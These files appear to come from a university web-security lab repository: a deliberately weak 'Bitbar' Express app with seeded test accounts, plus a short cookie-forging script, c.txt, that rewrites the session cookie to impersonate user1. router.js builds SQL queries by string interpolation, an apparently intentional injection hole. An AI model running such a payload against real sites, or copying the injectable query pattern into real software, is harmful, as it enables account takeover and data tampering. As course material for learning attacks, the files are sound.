23 | 24 | 25 | -------------------------------------------------------------------------------- /proj2/build_image.sh: -------------------------------------------------------------------------------- 1 | docker build -t cs155-proj2-image . -------------------------------------------------------------------------------- /proj2/c.txt: -------------------------------------------------------------------------------- 1 | function getCookie(name) { 2 | var value = "; ".concat(document.cookie); 3 | var parts = value.split("; ".concat(name).concat("=")); 4 | if (parts.length == 2) 5 | return parts.pop().split(";").shift(); 6 | } 7 | var cookie = getCookie("session"); 8 | var json = atob(cookie); 9 | var jsonObj = JSON.parse(json); 10 | jsonObj.account.username = "user1"; 11 | jsonObj.account.bitbars = 200 12 | var user1Cookie = JSON.stringify(jsonObj); 13 | document.cookie = "session=".concat(btoa(user1Cookie)); -------------------------------------------------------------------------------- /proj2/code/.babelrc: -------------------------------------------------------------------------------- 1 | { 2 | "presets": ["env"] 3 | } -------------------------------------------------------------------------------- /proj2/code/app.js: -------------------------------------------------------------------------------- 1 | import createError from 'http-errors'; 2 | import express from 'express'; 3 | import path from 'path'; 4 | import cookieSession from 'cookie-session'; 5 | import logger from 'morgan'; 6 | 7 | import router from'./router'; 8 | 9 | const app = express(); 10 | 11 | // view engine setup 12 | app.set('views', path.join(__dirname, 'views')); 13 | app.set('view engine', 'ejs'); 14 | 15 | app.use(logger('dev')); 16 | app.use(express.json()); 17 | app.use(express.urlencoded({ extended: false })); 18 | app.use(express.static(path.join(__dirname, 'public'))); 19 | 20 | // adjust CORS policy (DO NOT CHANGE) 21 | app.use((req, res, next) => { 22 | res.header("Access-Control-Allow-Origin", "null"); 23 | res.header("Access-Control-Allow-Credentials", "true"); 24 | next(); 25 | }); 26 | 27 | // set lax cookie policies (DO NOT CHANGE) 28 | app.use(cookieSession({ 29 | name: 'session', 30 | maxAge: 24 * 60 * 60 * 1000, // 24 hours 31 | signed: false, 32 | sameSite: false, 33 | httpOnly: false, 34 | })); 35 | 36 | // initialize session if necessary 37 | app.use((req, res, next) => { 38 | if(req.session.loggedIn == undefined) { 39 | req.session.loggedIn = false; 40 | req.session.account = {}; 41 | } 42 | next(); 43 | }); 44 | 45 | app.use(router); 46 | 47 | // catch 404 and forward to error handler 48 | app.use((req, res, next) => { 49 | next(createError(404)); 50 | }); 51 | 52 | // error handler 53 | app.use((err, req, res, next) => { 54 | // set locals, only providing error in development 55 | res.locals.message = err.message; 56 | res.locals.error = req.app.get('env') === 'development' ? err : {}; 57 | 58 | // render the error page 59 | res.status(err.status || 500); 60 | res.render('pages/error'); 61 | }); 62 | 63 | module.exports = app; 64 | -------------------------------------------------------------------------------- /proj2/code/bin/www: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | /** 4 | * Module dependencies. 5 | */ 6 | 7 | var app = require('../app'); 8 | var debug = require('debug')('proj2-18:server'); 9 | var http = require('http'); 10 | 11 | /** 12 | * Get port from environment and store in Express. 13 | */ 14 | 15 | var port = normalizePort(process.env.PORT || '3000'); 16 | app.set('port', port); 17 | 18 | /** 19 | * Create HTTP server. 20 | */ 21 | 22 | var server = http.createServer(app); 23 | 24 | /** 25 | * Listen on provided port, on all network interfaces. 26 | */ 27 | 28 | server.listen(port); 29 | server.on('error', onError); 30 | server.on('listening', onListening); 31 | 32 | /** 33 | * Normalize a port into a number, string, or false. 34 | */ 35 | 36 | function normalizePort(val) { 37 | var port = parseInt(val, 10); 38 | 39 | if (isNaN(port)) { 40 | // named pipe 41 | return val; 42 | } 43 | 44 | if (port >= 0) { 45 | // port number 46 | return port; 47 | } 48 | 49 | return false; 50 | } 51 | 52 | /** 53 | * Event listener for HTTP server "error" event. 54 | */ 55 | 56 | function onError(error) { 57 | if (error.syscall !== 'listen') { 58 | throw error; 59 | } 60 | 61 | var bind = typeof port === 'string' 62 | ? 'Pipe ' + port 63 | : 'Port ' + port; 64 | 65 | // handle specific listen errors with friendly messages 66 | switch (error.code) { 67 | case 'EACCES': 68 | console.error(bind + ' requires elevated privileges'); 69 | process.exit(1); 70 | break; 71 | case 'EADDRINUSE': 72 | console.error(bind + ' is already in use'); 73 | process.exit(1); 74 | break; 75 | default: 76 | throw error; 77 | } 78 | } 79 | 80 | /** 81 | * Event listener for HTTP server "listening" event. 82 | */ 83 | 84 | function onListening() { 85 | var addr = server.address(); 86 | var bind = typeof addr === 'string' 87 | ? 'pipe ' + addr 88 | : 'port ' + addr.port; 89 | debug('Listening on ' + bind); 90 | } 91 | -------------------------------------------------------------------------------- /proj2/code/db/database.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeyq/cs155/06e13e4bcd1962a4875bd56e65178f947f617e41/proj2/code/db/database.sqlite -------------------------------------------------------------------------------- /proj2/code/db/migrate/001-create-schema.sql: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- 2 | -- Up 3 | -------------------------------------------------------------------------------- 4 | 5 | CREATE TABLE Users ( 6 | username TEXT PRIMARY KEY, 7 | hashedPassword TEXT NOT NULL, 8 | salt TEXT NOT NULL, 9 | profile TEXT NOT NULL, 10 | bitbars INTEGER NOT NULL 11 | ); 12 | 13 | 14 | -------------------------------------------------------------------------------- 15 | -- Down 16 | -------------------------------------------------------------------------------- 17 | 18 | DROP TABLE Users; 19 | -------------------------------------------------------------------------------- /proj2/code/db/migrate/002-add-initial-users.sql: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- 2 | -- Up 3 | -------------------------------------------------------------------------------- 4 | 5 | INSERT INTO Users(username, hashedPassword, salt, profile, bitbars) 6 | VALUES 7 | ('user1', '8146ff33e815e1a08eae2b473bf2cca159582e434c52524c3325f06e8c2b80d9', '1337', '', 200), -- password = one 8 | ('user2', 'b4c9d3824bbaed01ac6cc9895b09c77f9864ee016d348fe4d8fb5357d5b32311', '1337', '', 200), -- password = two 9 | ('user3', '0ae8427fe34d27ee6f678e79897808020e20d736ec6abdfff9dece676153e4ce', '217703101022879492631352681842557793628', '', 500), -- password = three 10 | ('attacker', '0fc921dccfcb071132e72385f10d91dcb213983792dfe93de8b5d3274b5a5cf5', '21834708492970860368940710131560218741', '', 0); -- password = evil 11 | 12 | -------------------------------------------------------------------------------- 13 | -- Down 14 | -------------------------------------------------------------------------------- 15 | 16 | DELETE FROM Users; 17 | -------------------------------------------------------------------------------- /proj2/code/db/migrate/reset.js: -------------------------------------------------------------------------------- 1 | import sqlite from 'sqlite'; 2 | 3 | const db = sqlite.open('./db/database.sqlite').then(db => { 4 | db.migrate({migrationsPath:'./db/migrate/'}) 5 | }); 6 | -------------------------------------------------------------------------------- /proj2/code/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "proj2-18", 3 | "version": "0.0.0", 4 | "private": true, 5 | "scripts": { 6 | "start": "./node_modules/babel-cli/bin/babel-node.js ./bin/www", 7 | "create-db": "./node_modules/babel-cli/bin/babel-node.js ./db/migrate/reset.js", 8 | "reset": "rm db/database.sqlite && yarn create-db" 9 | }, 10 | "dependencies": { 11 | "babel-cli": "^6.26.0", 12 | "babel-preset-env": "^1.6.1", 13 | "cookie-session": "^2.0.0-beta.3", 14 | "debug": "~2.6.9", 15 | "ejs": "~2.5.7", 16 | "ejs-lint": "^0.3.0", 17 | "express": "~4.16.0", 18 | "http-errors": "~1.6.2", 19 | "morgan": "~1.9.0", 20 | "sqlite": "^2.9.1" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /proj2/code/public/images/background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeyq/cs155/06e13e4bcd1962a4875bd56e65178f947f617e41/proj2/code/public/images/background.jpg -------------------------------------------------------------------------------- /proj2/code/public/stylesheets/application.css: -------------------------------------------------------------------------------- 1 | @import url(http://fonts.googleapis.com/css?family=Montserrat:400,700); 2 | 3 | body { 4 | font-family: Montserrat, sans-serif; 5 | background: url(/images/background.jpg); 6 | background-size: cover; 7 | color: #7d7d7d; 8 | } 9 | 10 | .container { 11 | margin: 0 auto; 12 | width: 800px; 13 | } 14 | 15 | /* Header */ 16 | 17 | #header { 18 | margin-top: 20px; 19 | margin-bottom: 20px; 20 | } 21 | 22 | 23 | #titles h1 { 24 | color: #dd5555; 25 | font-size: 5em; 26 | text-align: center; 27 | margin: 0; 28 | } 29 | 30 | #titles h3 { 31 | padding: 10px 20px; 32 | color: #dd5555; 33 | margin: 0; 34 | text-align: center; 35 | font-size: 1.3em; 36 | } 37 | 38 | /* Menu */ 39 | 40 | #navbar { 41 | margin-top: 20px; 42 | } 43 | 44 | .pure-menu { 45 | text-align: center; 46 | } 47 | 48 | .pure-menu-list { 49 | background: #fff; 50 | } 51 | 52 | .pure-menu-link { 53 | transition-duration: 0.3s; 54 | } 55 | 56 | .pure-menu-link:hover { 57 | color: #dd5555; 58 | z-index: 2; 59 | background: #fff; 60 | } 61 | 62 | /* Content */ 63 | 64 | #main { 65 | background: #fff; 66 | padding: 20px; 67 | } 68 | 69 | #main p { 70 | font-size: 0.9em; 71 | line-height: 1.6em; 72 | } 73 | 74 | #main p a { 75 | color: #dd5555; 76 | text-decoration: none; 77 | } 78 | 79 | .login-status { 80 | text-align: right; 81 | } 82 | 83 | .login-status-text { 84 | margin-right: 20px; 85 | } 86 | 87 | .footer { 88 | text-align: center; 89 | margin-top: 20px; 90 | margin-bottom: 20px; 91 | } 92 | 93 | .error { 94 | color: #0078e7; 95 | } 96 | 97 | /* Button */ 98 | 99 | #login, .button-primary { 100 | color: white; 101 | background: #dd5555; 102 | transition-duration: 0.3s; 103 | text-shadow: 0 1px 1px rgba(0, 0, 0, 0.2); 104 | } 105 | 106 | /* Misc */ 107 | 108 | .pure-menu-list, #main { 109 | box-shadow: 0px 1px 2px 0px rgba(0, 0, 0, 0.2); 110 | border-radius: 5px; 111 | overflow: hidden; 112 | } 113 | 114 | .view-users-table td { 115 | padding: 0 20px; 116 | } 117 | 118 | #login_form input[type=text], #login_form input[type=password], 119 | #register_form input[type=text], #register_form input[type=password] { 120 | padding: .5em .6em; 121 | display: inline-block; 122 | border: 1px solid #ccc; 123 | box-shadow: inset 0 1px 3px #ddd; 124 | border-radius: 4px; 125 | vertical-align: middle; 126 | -webkit-box-sizing: border-box; 127 | -moz-box-sizing: border-box; 128 | box-sizing: border-box 129 | } 130 | -------------------------------------------------------------------------------- /proj2/code/public/stylesheets/pure-min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | Pure v0.6.0 3 | Copyright 2014 Yahoo! Inc. All rights reserved. 4 | Licensed under the BSD License. 5 | https://github.com/yahoo/pure/blob/master/LICENSE.md 6 | */ 7 | /*! 8 | normalize.css v^3.0 | MIT License | git.io/normalize 9 | Copyright (c) Nicolas Gallagher and Jonathan Neal 10 | */ 11 | /*! normalize.css v3.0.2 | MIT License | git.io/normalize */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}.hidden,[hidden]{display:none!important}.pure-img{max-width:100%;height:auto;display:block}.pure-g{letter-spacing:-.31em;*letter-spacing:normal;*word-spacing:-.43em;text-rendering:optimizespeed;font-family:FreeSans,Arimo,"Droid Sans",Helvetica,Arial,sans-serif;display:-webkit-flex;-webkit-flex-flow:row wrap;display:-ms-flexbox;-ms-flex-flow:row wrap;-ms-align-content:flex-start;-webkit-align-content:flex-start;align-content:flex-start}.opera-only :-o-prefocus,.pure-g{word-spacing:-.43em}.pure-u{display:inline-block;*display:inline;zoom:1;letter-spacing:normal;word-spacing:normal;vertical-align:top;text-rendering:auto}.pure-g [class *="pure-u"]{font-family:sans-serif}.pure-u-1,.pure-u-1-1,.pure-u-1-2,.pure-u-1-3,.pure-u-2-3,.pure-u-1-4,.pure-u-3-4,.pure-u-1-5,.pure-u-2-5,.pure-u-3-5,.pure-u-4-5,.pure-u-5-5,.pure-u-1-6,.pure-u-5-6,.pure-u-1-8,.pure-u-3-8,.pure-u-5-8,.pure-u-7-8,.pure-u-1-12,.pure-u-5-12,.pure-u-7-12,.pure-u-11-12,.pure-u-1-24,.pure-u-2-24,.pure-u-3-24,.pure-u-4-24,.pure-u-5-24,.pure-u-6-24,.pure-u-7-24,.pure-u-8-24,.pure-u-9-24,.pure-u-10-24,.pure-u-11-24,.pure-u-12-24,.pure-u-13-24,.pure-u-14-24,.pure-u-15-24,.pure-u-16-24,.pure-u-17-24,.pure-u-18-24,.pure-u-19-24,.pure-u-20-24,.pure-u-21-24,.pure-u-22-24,.pure-u-23-24,.pure-u-24-24{display:inline-block;*display:inline;zoom:1;letter-spacing:normal;word-spacing:normal;vertical-align:top;text-rendering:auto}.pure-u-1-24{width:4.1667%;*width:4.1357%}.pure-u-1-12,.pure-u-2-24{width:8.3333%;*width:8.3023%}.pure-u-1-8,.pure-u-3-24{width:12.5%;*width:12.469%}.pure-u-1-6,.pure-u-4-24{width:16.6667%;*width:16.6357%}.pure-u-1-5{width:20%;*width:19.969%}.pure-u-5-24{width:20.8333%;*width:20.8023%}.pure-u-1-4,.pure-u-6-24{width:25%;*width:24.969%}.pure-u-7-24{width:29.1667%;*width:29.1357%}.pure-u-1-3,.pure-u-8-24{width:33.3333%;*width:33.3023%}.pure-u-3-8,.pure-u-9-24{width:37.5%;*width:37.469%}.pure-u-2-5{width:40%;*width:39.969%}.pure-u-5-12,.pure-u-10-24{width:41.6667%;*width:41.6357%}.pure-u-11-24{width:45.8333%;*width:45.8023%}.pure-u-1-2,.pure-u-12-24{width:50%;*width:49.969%}.pure-u-13-24{width:54.1667%;*width:54.1357%}.pure-u-7-12,.pure-u-14-24{width:58.3333%;*width:58.3023%}.pure-u-3-5{width:60%;*width:59.969%}.pure-u-5-8,.pure-u-15-24{width:62.5%;*width:62.469%}.pure-u-2-3,.pure-u-16-24{width:66.6667%;*width:66.6357%}.pure-u-17-24{width:70.8333%;*width:70.8023%}.pure-u-3-4,.pure-u-18-24{width:75%;*width:74.969%}.pure-u-19-24{width:79.1667%;*width:79.1357%}.pure-u-4-5{width:80%;*width:79.969%}.pure-u-5-6,.pure-u-20-24{width:83.3333%;*width:83.3023%}.pure-u-7-8,.pure-u-21-24{width:87.5%;*width:87.469%}.pure-u-11-12,.pure-u-22-24{width:91.6667%;*width:91.6357%}.pure-u-23-24{width:95.8333%;*width:95.8023%}.pure-u-1,.pure-u-1-1,.pure-u-5-5,.pure-u-24-24{width:100%}.pure-button{display:inline-block;zoom:1;line-height:normal;white-space:nowrap;vertical-align:middle;text-align:center;cursor:pointer;-webkit-user-drag:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.pure-button::-moz-focus-inner{padding:0;border:0}.pure-button{font-family:inherit;font-size:100%;padding:.5em 1em;color:#444;color:rgba(0,0,0,.8);border:1px solid #999;border:0 rgba(0,0,0,0);background-color:#E6E6E6;text-decoration:none;border-radius:2px}.pure-button-hover,.pure-button:hover,.pure-button:focus{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#1a000000', GradientType=0);background-image:-webkit-gradient(linear,0 0,0 100%,from(transparent),color-stop(40%,rgba(0,0,0,.05)),to(rgba(0,0,0,.1)));background-image:-webkit-linear-gradient(transparent,rgba(0,0,0,.05) 40%,rgba(0,0,0,.1));background-image:-moz-linear-gradient(top,rgba(0,0,0,.05) 0,rgba(0,0,0,.1));background-image:-o-linear-gradient(transparent,rgba(0,0,0,.05) 40%,rgba(0,0,0,.1));background-image:linear-gradient(transparent,rgba(0,0,0,.05) 40%,rgba(0,0,0,.1))}.pure-button:focus{outline:0}.pure-button-active,.pure-button:active{box-shadow:0 0 0 1px rgba(0,0,0,.15) inset,0 0 6px rgba(0,0,0,.2) inset;border-color:#000\9}.pure-button[disabled],.pure-button-disabled,.pure-button-disabled:hover,.pure-button-disabled:focus,.pure-button-disabled:active{border:0;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);filter:alpha(opacity=40);-khtml-opacity:.4;-moz-opacity:.4;opacity:.4;cursor:not-allowed;box-shadow:none}.pure-button-hidden{display:none}.pure-button::-moz-focus-inner{padding:0;border:0}.pure-button-primary,.pure-button-selected,a.pure-button-primary,a.pure-button-selected{background-color:#0078e7;color:#fff}.pure-form input[type=text],.pure-form input[type=password],.pure-form input[type=email],.pure-form input[type=url],.pure-form input[type=date],.pure-form input[type=month],.pure-form input[type=time],.pure-form input[type=datetime],.pure-form input[type=datetime-local],.pure-form input[type=week],.pure-form input[type=number],.pure-form input[type=search],.pure-form input[type=tel],.pure-form input[type=color],.pure-form select,.pure-form textarea{padding:.5em .6em;display:inline-block;border:1px solid #ccc;box-shadow:inset 0 1px 3px #ddd;border-radius:4px;vertical-align:middle;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.pure-form input:not([type]){padding:.5em .6em;display:inline-block;border:1px solid #ccc;box-shadow:inset 0 1px 3px #ddd;border-radius:4px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.pure-form input[type=color]{padding:.2em .5em}.pure-form input[type=text]:focus,.pure-form input[type=password]:focus,.pure-form input[type=email]:focus,.pure-form input[type=url]:focus,.pure-form input[type=date]:focus,.pure-form input[type=month]:focus,.pure-form input[type=time]:focus,.pure-form input[type=datetime]:focus,.pure-form input[type=datetime-local]:focus,.pure-form input[type=week]:focus,.pure-form input[type=number]:focus,.pure-form input[type=search]:focus,.pure-form input[type=tel]:focus,.pure-form input[type=color]:focus,.pure-form select:focus,.pure-form textarea:focus{outline:0;border-color:#129FEA}.pure-form input:not([type]):focus{outline:0;border-color:#129FEA}.pure-form input[type=file]:focus,.pure-form input[type=radio]:focus,.pure-form input[type=checkbox]:focus{outline:thin solid #129FEA;outline:1px auto #129FEA}.pure-form .pure-checkbox,.pure-form .pure-radio{margin:.5em 0;display:block}.pure-form input[type=text][disabled],.pure-form input[type=password][disabled],.pure-form input[type=email][disabled],.pure-form input[type=url][disabled],.pure-form input[type=date][disabled],.pure-form input[type=month][disabled],.pure-form input[type=time][disabled],.pure-form input[type=datetime][disabled],.pure-form input[type=datetime-local][disabled],.pure-form input[type=week][disabled],.pure-form input[type=number][disabled],.pure-form input[type=search][disabled],.pure-form input[type=tel][disabled],.pure-form input[type=color][disabled],.pure-form select[disabled],.pure-form textarea[disabled]{cursor:not-allowed;background-color:#eaeded;color:#cad2d3}.pure-form input:not([type])[disabled]{cursor:not-allowed;background-color:#eaeded;color:#cad2d3}.pure-form input[readonly],.pure-form select[readonly],.pure-form textarea[readonly]{background-color:#eee;color:#777;border-color:#ccc}.pure-form input:focus:invalid,.pure-form textarea:focus:invalid,.pure-form select:focus:invalid{color:#b94a48;border-color:#e9322d}.pure-form input[type=file]:focus:invalid:focus,.pure-form input[type=radio]:focus:invalid:focus,.pure-form input[type=checkbox]:focus:invalid:focus{outline-color:#e9322d}.pure-form select{height:2.25em;border:1px solid #ccc;background-color:#fff}.pure-form select[multiple]{height:auto}.pure-form label{margin:.5em 0 .2em}.pure-form fieldset{margin:0;padding:.35em 0 .75em;border:0}.pure-form legend{display:block;width:100%;padding:.3em 0;margin-bottom:.3em;color:#333;border-bottom:1px solid #e5e5e5}.pure-form-stacked input[type=text],.pure-form-stacked input[type=password],.pure-form-stacked input[type=email],.pure-form-stacked input[type=url],.pure-form-stacked input[type=date],.pure-form-stacked input[type=month],.pure-form-stacked input[type=time],.pure-form-stacked input[type=datetime],.pure-form-stacked input[type=datetime-local],.pure-form-stacked input[type=week],.pure-form-stacked input[type=number],.pure-form-stacked input[type=search],.pure-form-stacked input[type=tel],.pure-form-stacked input[type=color],.pure-form-stacked input[type=file],.pure-form-stacked select,.pure-form-stacked label,.pure-form-stacked textarea{display:block;margin:.25em 0}.pure-form-stacked input:not([type]){display:block;margin:.25em 0}.pure-form-aligned input,.pure-form-aligned textarea,.pure-form-aligned select,.pure-form-aligned .pure-help-inline,.pure-form-message-inline{display:inline-block;*display:inline;*zoom:1;vertical-align:middle}.pure-form-aligned textarea{vertical-align:top}.pure-form-aligned .pure-control-group{margin-bottom:.5em}.pure-form-aligned .pure-control-group label{text-align:right;display:inline-block;vertical-align:middle;width:10em;margin:0 1em 0 0}.pure-form-aligned .pure-controls{margin:1.5em 0 0 11em}.pure-form input.pure-input-rounded,.pure-form .pure-input-rounded{border-radius:2em;padding:.5em 1em}.pure-form .pure-group fieldset{margin-bottom:10px}.pure-form .pure-group input,.pure-form .pure-group textarea{display:block;padding:10px;margin:0 0 -1px;border-radius:0;position:relative;top:-1px}.pure-form .pure-group input:focus,.pure-form .pure-group textarea:focus{z-index:3}.pure-form .pure-group input:first-child,.pure-form .pure-group textarea:first-child{top:1px;border-radius:4px 4px 0 0;margin:0}.pure-form .pure-group input:first-child:last-child,.pure-form .pure-group textarea:first-child:last-child{top:1px;border-radius:4px;margin:0}.pure-form .pure-group input:last-child,.pure-form .pure-group textarea:last-child{top:-2px;border-radius:0 0 4px 4px;margin:0}.pure-form .pure-group button{margin:.35em 0}.pure-form .pure-input-1{width:100%}.pure-form .pure-input-2-3{width:66%}.pure-form .pure-input-1-2{width:50%}.pure-form .pure-input-1-3{width:33%}.pure-form .pure-input-1-4{width:25%}.pure-form .pure-help-inline,.pure-form-message-inline{display:inline-block;padding-left:.3em;color:#666;vertical-align:middle;font-size:.875em}.pure-form-message{display:block;color:#666;font-size:.875em}@media only screen and (max-width :480px){.pure-form button[type=submit]{margin:.7em 0 0}.pure-form input:not([type]),.pure-form input[type=text],.pure-form input[type=password],.pure-form input[type=email],.pure-form input[type=url],.pure-form input[type=date],.pure-form input[type=month],.pure-form input[type=time],.pure-form input[type=datetime],.pure-form input[type=datetime-local],.pure-form input[type=week],.pure-form input[type=number],.pure-form input[type=search],.pure-form input[type=tel],.pure-form input[type=color],.pure-form label{margin-bottom:.3em;display:block}.pure-group input:not([type]),.pure-group input[type=text],.pure-group input[type=password],.pure-group input[type=email],.pure-group input[type=url],.pure-group input[type=date],.pure-group input[type=month],.pure-group input[type=time],.pure-group input[type=datetime],.pure-group input[type=datetime-local],.pure-group input[type=week],.pure-group input[type=number],.pure-group input[type=search],.pure-group input[type=tel],.pure-group input[type=color]{margin-bottom:0}.pure-form-aligned .pure-control-group label{margin-bottom:.3em;text-align:left;display:block;width:100%}.pure-form-aligned .pure-controls{margin:1.5em 0 0}.pure-form .pure-help-inline,.pure-form-message-inline,.pure-form-message{display:block;font-size:.75em;padding:.2em 0 .8em}}.pure-menu{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.pure-menu-fixed{position:fixed;left:0;top:0;z-index:3}.pure-menu-list,.pure-menu-item{position:relative}.pure-menu-list{list-style:none;margin:0;padding:0}.pure-menu-item{padding:0;margin:0;height:100%}.pure-menu-link,.pure-menu-heading{display:block;text-decoration:none;white-space:nowrap}.pure-menu-horizontal{width:100%;white-space:nowrap}.pure-menu-horizontal .pure-menu-list{display:inline-block}.pure-menu-horizontal .pure-menu-item,.pure-menu-horizontal .pure-menu-heading,.pure-menu-horizontal .pure-menu-separator{display:inline-block;*display:inline;zoom:1;vertical-align:middle}.pure-menu-item .pure-menu-item{display:block}.pure-menu-children{display:none;position:absolute;left:100%;top:0;margin:0;padding:0;z-index:3}.pure-menu-horizontal .pure-menu-children{left:0;top:auto;width:inherit}.pure-menu-allow-hover:hover>.pure-menu-children,.pure-menu-active>.pure-menu-children{display:block;position:absolute}.pure-menu-has-children>.pure-menu-link:after{padding-left:.5em;content:"\25B8";font-size:small}.pure-menu-horizontal .pure-menu-has-children>.pure-menu-link:after{content:"\25BE"}.pure-menu-scrollable{overflow-y:scroll;overflow-x:hidden}.pure-menu-scrollable .pure-menu-list{display:block}.pure-menu-horizontal.pure-menu-scrollable .pure-menu-list{display:inline-block}.pure-menu-horizontal.pure-menu-scrollable{white-space:nowrap;overflow-y:hidden;overflow-x:auto;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;padding:.5em 0}.pure-menu-horizontal.pure-menu-scrollable::-webkit-scrollbar{display:none}.pure-menu-separator{background-color:#ccc;height:1px;margin:.3em 0}.pure-menu-horizontal .pure-menu-separator{width:1px;height:1.3em;margin:0 .3em}.pure-menu-heading{text-transform:uppercase;color:#565d64}.pure-menu-link{color:#777}.pure-menu-children{background-color:#fff}.pure-menu-link,.pure-menu-disabled,.pure-menu-heading{padding:.5em 1em}.pure-menu-disabled{opacity:.5}.pure-menu-disabled .pure-menu-link:hover{background-color:transparent}.pure-menu-active>.pure-menu-link,.pure-menu-link:hover,.pure-menu-link:focus{background-color:#eee}.pure-menu-selected .pure-menu-link,.pure-menu-selected .pure-menu-link:visited{color:#000}.pure-table{border-collapse:collapse;border-spacing:0;empty-cells:show;border:1px solid #cbcbcb}.pure-table caption{color:#000;font:italic 85%/1 arial,sans-serif;padding:1em 0;text-align:center}.pure-table td,.pure-table th{border-left:1px solid #cbcbcb;border-width:0 0 0 1px;font-size:inherit;margin:0;overflow:visible;padding:.5em 1em}.pure-table td:first-child,.pure-table th:first-child{border-left-width:0}.pure-table thead{background-color:#e0e0e0;color:#000;text-align:left;vertical-align:bottom}.pure-table td{background-color:transparent}.pure-table-odd td{background-color:#f2f2f2}.pure-table-striped tr:nth-child(2n-1) td{background-color:#f2f2f2}.pure-table-bordered td{border-bottom:1px solid #cbcbcb}.pure-table-bordered tbody>tr:last-child>td{border-bottom-width:0}.pure-table-horizontal td,.pure-table-horizontal th{border-width:0 0 1px;border-bottom:1px solid #cbcbcb}.pure-table-horizontal tbody>tr:last-child>td{border-bottom-width:0} -------------------------------------------------------------------------------- /proj2/code/router.js: -------------------------------------------------------------------------------- 1 | import express from 'express'; 2 | import sqlite from 'sqlite'; 3 | 4 | import { asyncMiddleware } from './utils/asyncMiddleware'; 5 | import { generateRandomness, HMAC, KDF, checkPassword } from './utils/crypto'; 6 | 7 | const router = express.Router(); 8 | const dbPromise = sqlite.open('./db/database.sqlite', { cached: true }); 9 | 10 | function render(req, res, next, page, title, errorMsg = false, result = null) { 11 | res.render( 12 | 'layout/template', { 13 | page, 14 | title, 15 | loggedIn: req.session.loggedIn, 16 | account: req.session.account, 17 | errorMsg, 18 | result, 19 | } 20 | ); 21 | } 22 | 23 | 24 | router.get('/', (req, res, next) => { 25 | render(req, res, next, 'index', 'Bitbar Home'); 26 | logDatabaseState(); 27 | }); 28 | 29 | 30 | router.post('/set_profile', asyncMiddleware(async (req, res, next) => { 31 | req.session.account.profile = req.body.new_profile; 32 | console.log(req.body.new_profile); 33 | const db = await dbPromise; 34 | const query = `UPDATE Users SET profile = ? WHERE username = "${req.session.account.username}";`; 35 | const result = await db.run(query, req.body.new_profile); 36 | render(req, res, next, 'index', 'Bitbar Home'); 37 | logDatabaseState(); 38 | })); 39 | 40 | 41 | router.get('/login', (req, res, next) => { 42 | render(req, res, next, 'login/form', 'Login'); 43 | logDatabaseState(); 44 | }); 45 | 46 | 47 | router.post('/post_login', asyncMiddleware(async (req, res, next) => { 48 | const db = await dbPromise; 49 | const query = `SELECT * FROM Users WHERE username == "${req.body.username}";`; 50 | const result = await db.get(query); 51 | if(result) { // if this username actually exists 52 | if(checkPassword(req.body.password, result)) { // if password is valid 53 | req.session.loggedIn = true; 54 | req.session.account = result; 55 | render(req, res, next, 'login/success', 'Bitbar Home'); 56 | return; 57 | } 58 | } 59 | render(req, res, next, 'login/form', 'Login', 'This username and password combination does not exist!'); 60 | logDatabaseState(); 61 | })); 62 | 63 | 64 | router.get('/register', (req, res, next) => { 65 | render(req, res, next, 'register/form', 'Register'); 66 | logDatabaseState(); 67 | }); 68 | 69 | 70 | router.post('/post_register', asyncMiddleware(async (req, res, next) => { 71 | const db = await dbPromise; 72 | let query = `SELECT * FROM Users WHERE username == "${req.body.username}";`; 73 | let result = await db.get(query); 74 | if(result) { // query returns results 75 | if(result.username === req.body.username) { // if username exists 76 | render(req, res, next, 'register/form', 'Register', 'This username already exists!'); 77 | return; 78 | } 79 | } 80 | const salt = generateRandomness(); 81 | const hashedPassword = KDF(req.body.password, salt); 82 | query = `INSERT INTO Users(username, hashedPassword, salt, profile, bitbars) VALUES(?, ?, ?, ?, ?)`; 83 | await db.run(query, [req.body.username, hashedPassword, salt, '', 100]); 84 | req.session.loggedIn = true; 